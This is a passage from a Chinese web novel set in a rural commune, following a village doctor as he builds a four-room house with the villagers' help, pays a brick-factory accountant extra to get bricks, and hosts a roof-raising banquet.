果不其然,张峰扛着锄头,从田埂上往家走,还没到村口,就听见了几个社员聚在那儿议论。 “听说了吗?张家那小子,把人家江大夫的新车给撞歪了!” “嚯!真的假的?那可是凤凰牌的二八大杠,得一百多块钱呢!” “可不是嘛!不过江大夫是真敞亮,自个儿伸手一下就给掰回来了,愣是没说一句重话。” “这张家小子,是该好好管管了,太皮了!” 张峰的脚步猛地一顿,脸上的疲惫瞬间被怒火冲刷得一干二净。 好你个臭小子,老子在外面累死累活,你在家给我惹是生非! 他一声不吭,加快脚步,几乎是一路小跑回了家。 一进院子,看到正准备进屋的张小虎,二话不说,把锄头往地上一扔,解下腰间的布腰带,对着他的屁股就抽了过去! “嗷——!”张小虎发出一声惨叫,满院子乱窜。 “我让你闯祸!我让你不学好!看我今天不打死你个小王八蛋!” 张峰气得浑身发抖,下手毫不留情。 张小月闻声从屋里冲出来,急忙抱住父亲的胳膊。 “爹!别打了!再打就打坏了!” “你给我松开!今天非得让他长长记性不可!” 闹了好一阵,直到张小虎哭得上气不接下气,保证再也不敢了,张峰才喘着粗气停了手。 晚饭时,张小月给弟弟碗里夹了一筷子菜,才小心翼翼地开了口。 “爹,有件事……江沐哥住的那个土坯房,前几天让大雨给浇塌了。” “啥?!”张峰刚扒拉一口饭,闻言抬起头,询问道,“人没事吧?” “人没事,就是没地方住了,暂时歇在卫生所。”张小月将江沐的话复述了一遍,“周书记他们说,等高志强家的房子盖完,就轮到他了。” 张峰放下碗筷,从口袋里摸出烟叶,卷了一根旱烟,点上火,吸了一口。 “小月,等小江家动工那天,跟爹说一声。” …… 一个星期的时间转瞬即逝。 这天,是高志强家上大梁的日子。 按照习俗,这是盖房过程中最重要的一环,意味着房子的主体结构落成,是个值得庆贺的大喜事。 江沐一大早就赶了过去。 高家院子里人声鼎沸,热闹非凡,帮忙的乡亲们脸上都洋溢着喜气。 他也没闲着,跟着年轻人一起搬木料,递工具,忙得不亦乐乎。 吉时一到,工头一声高喊:“上——梁——喽——!” 在一片欢呼声中,那根披着红绸的粗壮主梁被七八个壮汉合力缓缓吊起,稳稳地安放在了屋顶的正中央。 “放炮!” 高志强的大儿子高建设,抱着一大盘鞭炮,递给江沐,“江大夫,来,咱俩一块儿点!” 江沐也不推辞,接过一根香,和高建设一同点燃。 鞭炮声响彻云霄,碎红的纸屑漫天飞舞,将所有人的笑脸都映得红彤彤的。 上完梁就是随礼吃席。 乡亲们随礼,大多是两毛、五毛,关系好些的也就八毛。 江沐看着干部们都掏出了一张崭新的一元大钞放进礼金簿,心里盘算了一下。 自己如今也算半个公家人,不能太小气。 他略一犹豫,也从口袋里摸出了一张一元钱,递了过去。 负责记账的村会计看到,高看了他一眼,笑着在本子上重重地写下了江沐,壹元。 酒席摆了七八桌,菜色相当丰盛。 大盆的红烧肉,炖得软烂的土豆烧鸡块,还有一条清蒸的河鱼,在这年头,绝对算得上是顶顶好的席面了。 江沐和赵文几个相熟的村民坐在一桌,大家一边吃喝,一边高声谈笑。 赵文啃着一个鸡腿,含糊不清地冲江沐嚷嚷:“江沐,高大哥这房子眼看就成了,你那儿啥时候动工啊?” 江沐夹了一筷子肥瘦相间的红烧肉送进嘴里。 他咽下嘴里的食物,才回答:“快了。等这边一完工,工头就直接去我那边,无缝衔接。” 他环视了一圈桌上的弟兄们,举起盛着地瓜烧的酒碗。 “到时候,还得麻烦各位搭把手!” “那说的啥话!你江大夫的事,就是咱们大家伙儿的事!”众人纷纷举碗,气氛热烈到了极点。” 第57章 咱们得抄个近道 高家的房子,木料都是早就备好的,上完梁,剩下的活儿就快了。 不过两天功夫,屋顶的椽子檩条就全部架设完毕。 又过了四天,随着最后一片瓦盖上,高志强的三间青砖大瓦房,彻底竣工。 送走了最后一批帮忙的乡亲,负责施工的工头,径直找到了江沐。 “江大夫,高家的活儿完了。你那块地,打算怎么个章程?” 江沐心中早有规划,立刻将他拉到一旁,递上一根烟。 “王工头,辛苦了。我琢磨着,盖四间房,东西厢房,中间是堂屋,再在院子角落里,单独起一间厕所。” “四间房?”王工头吸了口烟,“那可不小了!青砖的话,大概得三万块。瓦要三千片,木料……我得给你好好算算。” 他在地上比划了一阵,很快就给出了一个大概的数目。 江沐点了点头。 “成,那我下午就去想办法。您看,啥时候能过来动工?” 王工头吐了个烟圈。 “你得先把那片塌了的土坯墙清理干净,地基得弄平整了。这样,你先弄着,我明天下午过来给你划线,定地基。” “好!” 两人又把工钱定了下来,一天一块二,管两顿饭,价格十分公道。 事情敲定,眼下最大的问题,就是那三万块青砖。 这可不是个小数目,公社的砖厂,产量有限,都得排队等着批条子。 他思来想去,决定还是去找李有柱。 听完江沐的来意,李有柱压低了声音,神神秘秘地凑到江沐耳边,“咱们公社砖厂的会计,是我的表弟,叫杨光。走正规路子,你得排到明年去。咱们得抄个近道。” 江沐瞬间心领神会。 在李有柱的建议下,江沐去供销社,买了一条大前门香烟,又托人换了票,买了一瓶西凤酒。 傍晚,李有柱提着东西,带着江沐,轻车熟路地摸到了杨光的家。 杨光是个戴着眼镜的瘦高个,看到李有柱提着的东西,脸上立刻堆起了笑。 “哎呀,表哥,你这是干啥!来就来,还带啥东西,太客气了!” 李有柱把东西往桌上一放,浑不在意地摆了摆手。 “客气啥!应该的!这是江大夫,我亲口跟周书记提过的人才,他的事,就是咱们公社的事。” 他又话锋一转,拍了拍杨光的肩膀。 “再说了,光凭你,也做不了主。这烟酒,也不是全给你的,你不得去跟厂长那儿说说话,通融通融嘛!” 杨光他拿起算盘,手指翻飞。 “江大夫要盖四间房,三万块青砖,三千片瓦……这可不是小数目。” 他慢条斯理地拨弄着,嘴里念念有词,“按厂里的价,一块砖一分一,一片瓦一分五,这砖钱就得三百三十块,瓦钱四十五块。加起来,总共是三百七十五块。” 他顿了顿,抬眼看向江沐,又瞥了一眼桌上的烟酒,手指在算盘上轻轻一点,补充了一句,“再加上点损耗、运输的费用,凑个整,三百八十块。” 江沐心头一动,这个价格,公道。 但他知道,这事儿没这么简单。 果然,杨光推了推眼镜,“江大夫,不瞒你说,厂里现在等着砖的单位和个人,能从这儿排到公社大门口。你这个量……我就是想帮你,也得担风险不是?” 李有柱在一旁一拍桌子,“我说杨会计,你这就见外了!江大夫是啥人?那是给周书记都看过病的人!他的事儿,厂长能不点头?你把心放肚子里,该咋办咋办,没人找你麻烦!” 杨光被他吼得缩了缩脖子,连忙摆手。 “表哥你别急嘛,我这不是在想办法……这样,”他看向江沐,伸出三根手指,又弯下半根。 “江大夫,你给我三百五十块钱。我呢,给你开一张三百块的收据,剩下的五十块,我得拿去上下打点打点,不然这事儿真办不下来。” 江沐心中透亮。 这五十块,三十块是明面上的差价,二十块恐怕就是落入他杨光自己口袋里的好处费了。 这便是这个时代的潜规则,水至清则无鱼。 他没有半分犹豫,从贴身的口袋里掏出一个布包,露出里面一沓崭新的大团结。 他仔细地点出三十五张,整整齐齐地推了过去。 “麻烦杨会计了。” 杨光迅速将钱收拢,又麻利地拿出收据本,写好一张三百元的收据,盖上公章,递给江沐。 “江大夫敞亮!你放心,后天,最迟大后天早上,第一批砖肯定给你送到!” 事情办妥,江沐和李有柱没再多留,起身告辞。 走在回村的土路上,月光把两人的影子拉得老长。 江沐心里一块大石落地,又想起另一件事。“柱子叔,这砖瓦是解决了,可木料……是不是得去县里的林场申请指标?” “木料?”李有柱闻言,哈哈大笑起来,大手重重拍在江沐的肩膀上,“你小子,忘了咱们这是啥地方了?咱们青莲公社,啥都缺,就是不缺山!这后山上的木头,有的是!” 他压低声音,“你放心,这事儿不用你操心!你给咱们队里治了多少人,救了多少命?这点木料,算队里资助你的!明儿我就叫人上山给你伐木去,保准都是上好的松木和榆木,结实!” 江沐心头一暖,他想说些什么,却被李有柱打断。 “走,别说那些虚的!今儿事儿办得顺,高兴!割二斤肉,咱俩回去喝两盅!” …… 当两人提着一块肥瘦相间的五花肉回到江沐临时的家——卫生所时,却发现门口蹲着一个身影。 “徐福?”江沐有些意外。 蹲在地上的人猛地抬起头,正是那个憨厚的汉子徐福。 他看到江沐,立马站了起来。 “江大夫,你回来了。我……我听说你要盖新房了?” “是啊,刚把砖的事定下来。” “那……我寻思着,我力气大,能干活,明天……明天我过来给你帮忙!” 江沐心中感动,这便是乡里人最质朴的情感。 他没有拒绝这份好意,重重点了点头。“好!那明天就辛苦你了!” 送走李有柱,江沐又来到了赵文家。 刘春花正在院子里纳鞋底,见到江沐,赶忙起身。 “江大夫,快进屋坐。” “春花嫂子,不坐了,我来是想请你帮个忙。”江沐开门见山,“我这房子一动工,少说也得有十来个工人。我想请你帮忙做几天饭,你看方便不?” 他又补充道,“不能让你白忙活,一天……我给你五毛钱工钱。” 第58章 老丈人都亲自来监工了 一天五毛,一个月就是十五块! 这顶得上一个壮劳力一个月的工分了! 刘春花连连摆手。 “哎呀,江大夫你这说的是啥话!你帮了我们家这么多,做顿饭算啥!给啥钱啊!” 江沐却很坚持。 “一码归一码,亲兄弟还明算账呢。你要是不收钱,我可不好意思开口了。” 推辞了两个来回,刘春花见他态度坚决,这才红着脸应了下来,嘴里不停地念叨着。 “那……那就谢谢江大夫了!你放心,我保证把大家的饭菜做得妥妥帖帖的!” 翌日,天刚蒙蒙亮,江沐就已经起了床。 今天还有一件重要的事,就是清理那片倒塌的土坯墙,把还能用的砖瓦、木料都给收拾出来。 可当他扛着工具回到自家的宅基地时,却愣住了。 只见晨曦中,徐福和他爹徐良,爷俩已经蹲在废墟前,一人手里拿着一把铁锹,正准备开干。 “徐大叔,徐福哥,你们怎么来这么早?” 徐良抬起布满皱纹的脸,咧嘴一笑,“反正地里没啥活,闲着也是闲着。” 三人刚说了没几句话,身后又传来一阵脚步声。 赵文带着几个村民,扛着锄头和扁担也赶了过来。 人越来越多。 不到六点,江沐那片小小的院子周围,已经黑压压围满了人,男女老少,手里都拿着各式各样的工具,自发地前来帮忙。 张兰挤过人群,凑到江沐身边,压低声音,脸上带着笑意。 “我让振国去小月家捎了个信儿,告诉他们你今儿动工。” 江沐还没来得及反应,就听见人群外传来一阵骚动。 “张峰来了!” 只见张峰扛着一把崭新的铁锹,身后跟着他家大小子张玖博,还有一个穿着碎花布衫,脸颊绯红的张小月。 江沐迎了上去,有些不好意思地打了声招呼。 “张叔,玖博,小月,你们怎么也来了?” 张峰把铁锹往地上一顿,“你这叫说的啥话!你家盖房,我能不来出把力?!” 周围的乡亲们都发出善意的哄笑,不少人的目光在江沐和张小月之间来回打转,嘴里嘀咕着。 “瞧见没,老丈人都亲自来监工了!” 十点刚过,王工头带着两个徒弟,准时到达。 当他看到眼前这片已经清理得七七八八的宅基地,以及周围这几十号干劲十足的壮劳力时,也是吃了一惊。 到了十一点,在众人的齐心协力下,整个院子被彻底清理干净。 王工头不再耽搁,拿出墨斗和长尺,开始在平整的地面上弹线,规划地基。 他动作娴熟,干脆利落,很快,四间房和一个厕所的轮廓便清晰地出现在众人眼前。 就在这时,村口传来了拖拉机的轰鸣声。 “砖来了!砖来了!” 只见一辆满载青砖的拖拉机,在李有柱的亲自押送下,缓缓驶了过来。 看着一块块青砖和一摞摞瓦片被卸下,整齐地码放在院子旁,江沐心中充满了踏实感。 李有柱擦了把汗,把江沐拉到一边。 “江沐,我得提醒你一句,咱们村,大部分人是好的,但难保没那手脚不干净的。 你这几万块砖,几千片瓦,可都是真金白银换来的,晚上没人看着,要是被人摸走个百八十块,你哭都没地方哭去。” 他指了指院子角落。“你最好赶紧找些木头油布,在这儿搭个窝棚。 从今天起,到房子盖好,你就得睡在这儿,亲自看着这些家当!” 随后又道,“我家那口子前两天刚把一张闲置的木板床腾出来,正愁没地方搁!我这就给你扛过来!再去队部仓库里给你寻摸两大块厚实的塑料布,防雨防潮,顶用!” 不等江沐开口,他又扭头冲着人群里忙碌着的李振国喊道,“振国,你小子腿脚快,跟我走一趟!” 江沐心头一热,这股子热情,实在让人无法拒绝。 他只能点点头,跟上李有柱的步伐,“柱子叔,我跟你一起去。” “行,多个人多把力!” 东西很快就搬了过来。 一张结实的木板床,两大卷沉甸甸的军绿色塑料布。 根本不用江沐和李有柱动手,围观的乡亲们便一拥而上。 几个壮汉七手八脚地将木板床在院角安放妥当,另外几人则熟练地用木棍撑起框架,将塑料布蒙了上去,边角再用大块的石头死死压住。 前后不过十几分钟,一个简陋却坚固的窝棚便拔地而起。 江沐看着眼前这个临时居所,心中百感交集。 他转向一旁满脸褶子的王工头,递上一根烟,“王工头,你看这地基也弄好了,材料也齐了,咱们明天能正式动工不?” 王工头接过烟,在鞋底上磕了磕,别在耳朵上,咧嘴一笑,“江大夫你都把话说到这份上了,那必须能啊!明儿一早,我就带人过来放线挖基槽!” “好!” 一旁的李有柱听着,又有了新主意。 他环视一圈周围几十号精力旺盛的庄稼汉,大嗓门再次响起。 “大伙儿都先别散!趁着人多,家伙什也趁手,咱们干脆一鼓作气,上后山把江大夫盖房要用的木料给伐了!” 这砖瓦是江沐花钱买的,名正言顺。 可这木料…… 他压低声音,凑到李有柱耳边,“柱子叔,这……这直接上山砍树,队里不会有人说闲话?毕竟是公家的东西。” 李有柱闻言道,“闲话?哪个龟孙子敢嚼舌根!” “你给咱们公社省了多少医药费,救了多少条人命?别说几根木头,就是把后山那片林子给你,周书记都不会眨一下眼! 再说了,有我跟周书记打的条子,谁敢放个屁?咱们就住山脚下,靠山吃山,天经地义!” 这番话彻底打消了江沐的顾虑。 他转过身,看到不远处还在帮忙收拾零碎工具的张峰父子,连忙走了过去,脸上带着歉意。 “张叔,今天真是太谢谢你了,还让玖博哥也跟着忙活大半天。” 张峰摆摆手,脸上满是笑容,“谢啥!你家有事,搭把手不是应该的嘛!行了,既然要去伐木,那都是壮劳力的活,我这把老骨头就不跟着去添乱了。” 他顿了顿,看了一眼身旁脸颊绯红的女儿,“让小月留下来,给你打打下手,帮着春花嫂子做做饭也行。” “别!”江沐几乎是脱口而出,他连忙解释。 “张叔,真不用。我已经请了春花嫂子专门负责做饭,人手够了。小月还是跟你和玖博先回去吧,这山路不好走。” 李有柱也走过来搭腔,“就是啊老张,这儿有我跟你兰妹子照应着,出不了岔子。你赶紧带俩孩子回去歇着,等上梁那天,你再过来喝大酒!” 张峰见状,也不再坚持,憨厚地笑了笑,便带着一双儿女离开了。 第59章 这是再多金钱也换不来的情分 江沐一直将三人送到村口,看着他们背影消失在田埂尽头,才转身往回走。 刚到宅基地附近,就迎面撞上了知青点的点长吴有才。 吴有才关切道,“江沐,我刚听说你这边动工了?怎么不吱一声!我好叫点里的知青都过来帮忙啊!” “吴点长,你看,乡亲们都帮着弄得差不多了。” 江沐指了指已经清理干净的院子,心怀感激,“剩下的都是瓦匠师傅的专业活,就不麻烦大家了。” 吴有才真挚道,“你这是说的哪里话,之前就跟你说了,有事千万别客气!” 两人寒暄了几句,江沐才回到自家的地基前。 此刻,院子里已经聚集了三十多个手持斧头、锯子的汉子。 李有柱经验老到,在山林里转了一圈,很快就锁定了一棵笔直粗壮的松树。 “就它了!做主梁,绝对够分量!” 众人一声吆喝,立刻围了上去。 几把锋利的斧头轮番上阵,砍伐声在山谷中回荡。 伴随着一声巨响,大树轰然倒塌。 接着就是清理枝丫,剥去树皮,一根完美的房梁雏形便呈现在眼前。 紧接着,众人又砍了十几棵相对细一些的榆木,用作檩条和椽子。 整整三个小时,所有人都在挥洒汗水。 当所有的木材都被众人合力扛回村子时,夕阳已经染红了半边天。 刘春花早已等候多时,端着一大盆冰镇过的绿豆汤迎了上来,给每个人都盛了满满一大碗。 清甜的汤水滑入喉咙,瞬间驱散了所有的疲惫。 夜幕降临,江沐带着虎虎和生威,钻进了院角的窝棚。 两只小狗似乎很喜欢这个新家,兴奋地在木板床上打着滚。 赵文和几个相熟的村民抱着胳膊,蹲在窝棚外,一时半会儿也睡不着。 “江沐,你这下可算是扎下根了。” 月光透过塑料布的缝隙洒进来,映照着一张张年轻而真挚的脸。 大家天南海北地聊着,从城里的见闻到乡下的趣事,一直到深夜,才意犹未尽地各自散去。 第二天,天刚破晓。 王工头便带着他手下的七八个徒弟,准时出现在了院子门口。 江沐早已洗漱完毕,精神抖擞地迎了上去,将一包大前门塞到王工头手里。 “王工头,我那边卫生所还有些病人要照看,不能一直在这儿盯着。这建房的事,里里外外,可就全拜托您多费心了。” 王工头捏了捏手里的烟,爽朗一笑,拍着胸脯保证。 “江大夫你放一百二十个心!你这是救死扶伤的大事,耽误不得!这儿的活,我给你盯得死死的,保证给你盖得结结实实,敞敞亮亮!” 得了王工头这句定心丸,江沐心里彻底踏实了。 他领着王工头,走到院子另一头堆放着的木料旁。 “王工头,您给掌掌眼,这是昨天柱子叔带人上山伐的,您看做梁做檩子,还合用不?” 王工头蹲下身,伸出手在那根最粗壮的松木主梁上摩挲着,又用指关节敲了敲,侧耳倾听回声。 片刻,他站起身,赞许道,“好料!真是好料!这松木笔直坚硬,纹理又密,做大梁沉得住,压得稳!那几根榆木做檩条和椽子,也是绰绰有余。 江大夫,有这几根硬骨头撑着,你这房子,住上个百八十年都不带晃的!” 江沐的心彻底放下,“那就好。对了,工头,吃饭的事还得麻烦大家挪步。我已经跟隔壁赵文家说好了,他媳妇春花嫂子专门负责做饭,到时候您带着师傅们直接过去就行。” “嗨,多大点事儿!”王工头摆摆手,显得很是豪爽,“江大夫你忙你的,我们这些粗人,有口热饭吃就成,不挑!你呀,就甭操心了,让春花嫂子多准备点凉白开就行,天热,干活出汗多,费水!” “这个您放心,肯定管够!” 送走了王工头,江沐转身便朝赵文家走去。 刘春花正蹲在灶膛前,往里添着柴火。 “春花嫂子,忙着呢?” 刘春花回头,见是江沐,连忙站起来,在围裙上擦了擦手,“江大夫!正说着你呢。水已经在锅里烧上了,保准误不了师傅们喝。” 她说着,又有些欲言又止,带着点不好意思。 江沐何等眼力,一眼就看出了她的局促,温和地问,“嫂子,可是有什么难处?” “也不是……”刘春花搓着衣角,声音低了些,“就是……徐福他娘,秀琴婶子,刚才过来说,非要过来搭把手,帮着烧火洗菜。我……我寻思着这工钱是你开的,我不好自作主张……” 江沐闻言,心中了然。 “我当是什么事呢。”他语气轻松,“春花嫂子,你放心,说好给你的工钱,一分都不会少。至于秀琴婶子,她老人家一片好心,想帮忙就让她帮吧,人多也热闹些。你俩还能做个伴,说说话。” 刘春花听他这么一说,立刻感激道,“哎!那敢情好!我就怕你觉得我偷懒呢!” “怎么会。”江沐笑了笑,又想起一事,“对了嫂子,光喝白开水也没味儿。我那儿还有点茶叶,一会儿我给你送过来,你给师傅们沏上一壶浓茶,解渴提神。” “茶叶?”刘春花连连摆手,“那可使不得!多金贵的东西!给师傅们喝太糟蹋了!” 在这个年代,茶叶可是稀罕物,寻常庄户人家一年到头都喝不上几回。 江沐却不以为意,“没事,放着也是放着。就这么说定了,我这就去拿。” 他回到卫生所,心念一动,从声望商城里兑换出两条在后世最普通不过的茉莉花茶。 他将茶叶用油纸包好,回到赵文家交给刘春花,又特意嘱咐了几句,让她告诉工人们,要是渴了累了,随时可以去隔壁棚子里歇脚喝茶。 从赵文家出来,往卫生所走的半路上,迎面就撞见了徐福的母亲林秀琴。 “秀琴婶子!” “哎,江大夫!”林秀琴看见江沐,立刻笑道,“我听说了,你这盖房子,我寻思着也帮不上啥大忙,就去后院掐了把新出的豆角,给你送过去!” 江沐心里感动,“婶子,您太客气了。家里有春花嫂子忙活就够了,您快回去歇着吧。” “那哪儿成!”林秀琴立刻摇头,“你救了我们家柔柔和孩子,就是我们家的大恩人!给你搭把手,那不是应该的嘛!你别跟我提钱,提钱我可跟你急!” 她态度坚决,不容拒绝。 江沐无奈,只能接受了这份好意。 他知道,这是再多金钱也换不来的情分。 第60章 摆几桌酒席热闹热闹 一晃半个月过去。 这半个月里,江沐的宅基地上每天都是热火朝天。 王工头果然是把好手,指挥着手下人挖基槽、砌地基、垒墙体,一切都进行得有条不紊。 在乡亲们和工匠们的汗水中,四间宽敞明亮的大瓦房已然初具雏形,只剩下最后的封顶上梁。 这天下午,江沐骑着自行车去了公社。 他先是去卫生院领了这个月的工资和一批新的药品,顺道找到了院长李志,热情地邀请他后天务必赏光,来家里喝一杯上梁酒。 李志自然是满口答应,还拍着江沐的肩膀,连声夸他有出息。 随后,江沐又拐进了公社大院,直奔周志康的办公室。 “周书记,忙着呢?” 周志康正埋头批阅文件,听见声音抬头一看是江沐,立刻放下了手里的钢笔,脸上露出笑容。 “是江沐啊!快坐快坐!看你这满面春风的,房子盖得差不多了吧?” “托您的福,后天就上梁了,特地来跟您说一声,请您到时候一定过去热闹热闹。”江沐一边说着,一边从怀里掏出一个用布包着的小药瓶,放在了周志康的办公桌上。 “这是……” “上次给您的那种滋补丹,这是剩下所有的了。” 周志康没有推辞,将药瓶收进了抽屉里。 沉默片刻,周志康身体微微前倾,压低了声音道,“江沐,既然你来了,我这儿……正好有件事,想托你问问。” “周书记您说。”江沐见他如此郑重,也坐直了身体。 周志康的目光在办公室门口扫了一眼,确定无人,才凑上前去。 “就是……就是有人托我打听打听……那怀不上孩子的毛病,你能治不?” 江沐没有立刻大包大揽,而是反问了一句:“周书记,这事儿可复杂得很,病根儿五花八门,男女双方都可能有问题。 您说的那户人家,有没有去县医院瞧过?弄清楚是男方的问题,还是女方的问题了吗?” 周志康见他没有一口回绝,身体又往前凑了凑,声音压得更低,:“瞧过了,托人去省里都瞧过了。是……是女方的问题。” 江沐心中了然。 看来对方是走投无路了。 他点了点头,没有再追问具体是谁,这是规矩。 “书记,具体病症,不亲眼看看,不下诊断,这样,等我这两天上梁的事忙完,您看什么时候方便,安排我跟病人见一面,我先号号脉,问问情况再说。” “行!太行了!”周志康爽利道,“江沐,这事儿要是能成,你就是我们家……我们公社的大功臣!” 他险些说漏嘴,又硬生生拐了回来。 江沐只当没听见,起身告辞:“那书记您先忙,我那边还有一堆事儿等着呢。后天您可一定得来。” “去!一定去!” 从公社大院出来,江沐跨上自行车,心里盘算着上梁酒的事。 这件事马虎不得。 他直接骑车去了高家。 高志强正和几个后生一起抬着一根粗大的檩条。 “志强叔!”江沐把车一停,扬声喊道。 “哎!江大夫!”高志强放下木头,直起腰,用挂在脖子上的毛巾擦了把汗,咧嘴一笑,“咋了?有事?” “有件事得麻烦你。”江沐也不绕弯子,“我这后天上梁,摆几桌酒席热闹热闹。上次你家办事儿,我瞧着那大师傅手艺不错,你能不能帮我联系联系?” “嗨!我当多大事儿呢!”高志强把毛巾往肩上一甩,豪气干云。 “这叫啥麻烦事!包在我身上!东洼村的赵厨子,十里八乡红白喜事都找他。走,我现在就带你过去!” 说走就走,高志强套上汗衫,骑上自行车带路。 东洼村离得不远,翻过一道梁就到。 赵厨子家是个干净利落的砖瓦院子,人还没进门,就闻到一股淡淡的香料味儿。 一个五十出头,身材微胖,穿着白褂子的男人正在院里磨刀,正是赵厨子。 “老赵!”高志强大老远就喊上了。 赵厨子抬起头,看见高志强,放下手中的刀,笑道,“高书记,你怎么来了?” “老赵,给你介绍下,这是咱们公社卫生所的江大夫,神医!”高志强又转头对江沐道,“江大夫,这就是我跟你说的赵厨子!” 江沐笑着递上一根烟,开门见山:“赵师傅,冒昧打扰了。我这新房后天上梁,想请您过去掌勺,摆几桌酒席。” 赵厨子接过烟别在耳后,瓮声瓮气地问:“这几天正好没活儿,倒是能接。准备摆几桌?” “先按十八桌备着吧。”江沐心里早有计较。知青、乡亲、公社领导,算下来不是个小数目。 赵厨子点了点头,又问:“啥规格?” “就按志强叔上次上梁的规格来就成。” “行!”赵厨子答应,这事儿就算定了下来,“菜单我心里有数,你明儿一早把菜买齐了送过来就成。” 事情谈得顺利,回去的路上,高志强提醒江沐:“江大夫,买菜这活儿你怕是不熟。这样,我让我家建设跟着你跑一趟。上次我家办事就是他去买的,门儿清,哪个肉铺的肉好,哪个菜站的菜新鲜,他都知道,还能帮你讲讲价。” “那可太好了!” 第二天,凌晨三点多,江沐的窝棚外就响起了轻轻的敲门声。 “江大夫,你起了没。” 是高建设。 江沐一个激灵翻身起来,拉开门,高建设已经赶着一头老黄牛,套好了板车等在外面。 “走吧,江大夫,去晚了,好肉就让人挑光了。” 牛车慢悠悠地进了县城,天边才刚泛白。 两人直奔肉联厂的门市部,凭着肉票和钱,抢到了最新鲜的一刀五花和几扇排骨。 买完了菜,江沐看着天色尚早,便拉着高建设,“走,建设哥,忙活一早上,我请你吃顿好的!” 两人来到国营饭店,江沐要了两大碗热气腾腾的羊肉泡馍。 雪白的馍块吸饱了鲜美的羊汤,配上红亮的辣子油和碧绿的香菜,香气扑鼻,馋得人直流口水。 高建设哪吃过这个,埋着头吃得满头大汗,嘴里含糊不清地念叨:“香!太香了!比过年吃的饺子还香!” 看着他狼吞虎咽的模样,江沐也胃口大开。 一碗泡馍下肚,浑身都暖洋洋的,从里到外都透着一股舒坦。 第61章 酒席办得风光,宾主尽欢 一碗羊肉泡馍下肚,高建设只觉得浑身舒畅,一早上的疲惫直接被一扫而空。 牛车回到青莲公社,天已大亮。 宅基地上,帮工的乡亲们已经开工。 江沐将新鲜的猪肉和排骨从车上卸下,交给了高志强找来帮忙的几个妇女,仔细叮嘱她们如何存放。 高建设则咧着大嘴,跟每一个碰到的人吹嘘早上那碗羊肉泡馍有多香,惹得众人一阵哄笑。 安顿好一切,江沐心里却惦记着另一件事。 他擦了擦手,径直朝着张小月家的方向走去。 张家院门虚掩着,里面静悄悄的。 江沐推门进去,屋里屋外都不见人影。 他心里一动,转身就朝村外那片熟悉的河滩地走去。 果然,远远地就看见两个小小的身影在河边的草丛里忙碌。 正是张小月和张小虎姐弟俩。 夏日的太阳已经有些毒辣,张小月戴着草帽,额前的碎发被汗水浸湿,紧紧贴在脸上,她正费力地用镰刀割着一丛半人高的猪草。 “小月!”江沐扬声喊了一句。 张小月直起身,用手背抹了把汗,看到是他,“江大哥,你忙完了?” “嗯。”江沐几步走到她跟前,从兜里摸出一颗水果糖递给旁边的小虎,小家伙立刻剥开糖纸塞进嘴里。 江沐的目光又落回张小月身上,“跟你说个事儿,我那房子,明儿就上梁了。到时候办几桌酒席,你跟小虎,还有叔和婶子,可一定得来。” “真的?这么快!”张小月点了点头,“去!我们肯定去!” 江沐看着她被太阳晒得通红的脸颊,语气里带上了关切,“这天越来越热了,日头最毒的时候就别出来了,当心中暑。猪草少割一天也饿不死猪。” 张小月心里一甜,脸颊更红了,低下头。“嗯,我知道了。” …… 傍晚,张峰夫妇俩扛着锄头从地里回来。 张小月一边端上晾好的温开水,一边把江沐明天新房上梁请客的事儿说了。 张峰憨厚的脸上露出了笑意,连连点头。“这是大好事!该去,必须去!” 一旁的刘桂芝却眼珠子一转,筷子往桌上一放,视线盯着自家闺女。 “他那四间大瓦房都盖起来了,这可是咱们公社头一份的气派!小月,我问你,你们俩那事儿,到底啥时候办?” 张小月脸上的红晕一下褪得干干净净,取而代之的是一片羞恼。 “娘!你说什么呢!” “我说什么?我说的是你的终身大事!”刘桂芝满是急切,“你瞅瞅,人家江大夫房子都立起来了,就差个女主人了!你再不抓紧,煮熟的鸭子都得飞了!” “你们就是着急把我嫁出去!”张小月又气又急,眼圈都红了,一拍桌子站了起来。 “你这孩子!”张峰见状,赶紧放下碗,一把拉住女儿,叹了口气道。 “小月,你别怪你娘说话直。你静下心来想想,江沐是啥样的人?那是县领导都客客气气的神医!人长得俊,又有本事,现在连四间大瓦房都有了。你知不知道,现在公社里有多少姑娘盯着他? 咱家这门亲事要是传出去,多少人眼睛都得红了!咱们不着急,万一……万一被别人抢了先,你让我们俩这张老脸往哪儿搁?” 父亲的话浇熄了张小月心头的火。 她何尝不知道江沐的好,也正是因为他太好了,她心里才没底。 她咬着嘴唇,沉默了半晌,才闷闷地挤出一句。 “……等上梁的事忙完了,过两天,我去问问他。” 第二天,整个青莲公社都弥漫着喜庆的气氛。 江沐的宅基地前,人头攒动,热闹非凡。 李有柱一大早就请来了队里最会看日子的明白人,掐指一算,定下了上午十一点的上梁吉时。 东洼村的赵厨子也带着两个徒弟赶到了,在临时搭起的土灶前摆开阵势。 菜刀剁在砧板上发出巨大的声响,大锅里炖肉的香气混着柴火的烟火气,飘出了老远,馋得周围的孩子们直咽口水。 临近十一点,人群外忽然起了一阵骚动。 “快看!那是谁的车?” “是公社的吉普车!周书记!周书记来了!” 众人纷纷回头,只见周志康在一干公社干部的簇拥下,大步流星地走了过来。 所有人都惊讶不已,一个知青盖房子上梁,竟然能惊动公社的一把手亲自到场祝贺! 这份面子,在整个青莲公社都是独一份的! 周志康人未到,笑声先到了。 “江沐!恭喜恭喜啊!你这房子盖得可真敞亮!”他重重地拍了拍江沐的肩膀,眼里满是欣赏。 这场面,让所有看向江沐的眼神都变了。 酒席办得风光,宾主尽欢。 宴席散去,周志康拉住江沐,走到一旁,“江沐,之前跟你提的那事儿,那户人家……后天我安排他过来找你。” 江沐心领神会,郑重地点了点头。“书记放心,我在这儿等着。” 送走了周志康,场地上还剩下不少乡亲和知青帮忙收拾。 江沐站到高处,朗声宣布:“今天多谢大伙儿帮忙!锅里还剩了不少菜,谁家也别客气,都拿家伙事儿来,分了分了,沾沾喜气!” 人群立刻爆发出了一阵欢呼。 江沐笑着从一片喧闹中挤出来,将一个早就打包好的、沉甸甸的网兜递到张峰手里,里面是几块扎实的五花肉和一份炸丸子。 “张叔,这点菜给您和婶子带回去下酒。等我这边彻底忙完了,我再去家里拜访,跟您二位好好坐坐。” 张峰笑着点头,随后带着家人离开。 两天后的清晨,一辆颠簸的吉普车就在卫生室门口停了下来。 车门打开,周志康先跳了下来,又回身扶出了一对看起来二十五六岁的年轻夫妇。 男人穿着干净的白衬衫,但眉头紧锁。 女人则穿着碎花布衫,面容清秀,只是脸色有些苍白,双手紧张地绞着衣角,始终低垂着头。 周志康推开卫生室虚掩的门,探头进去一瞧,里面空无一人,只有一股淡淡的草药味弥漫在空气中。 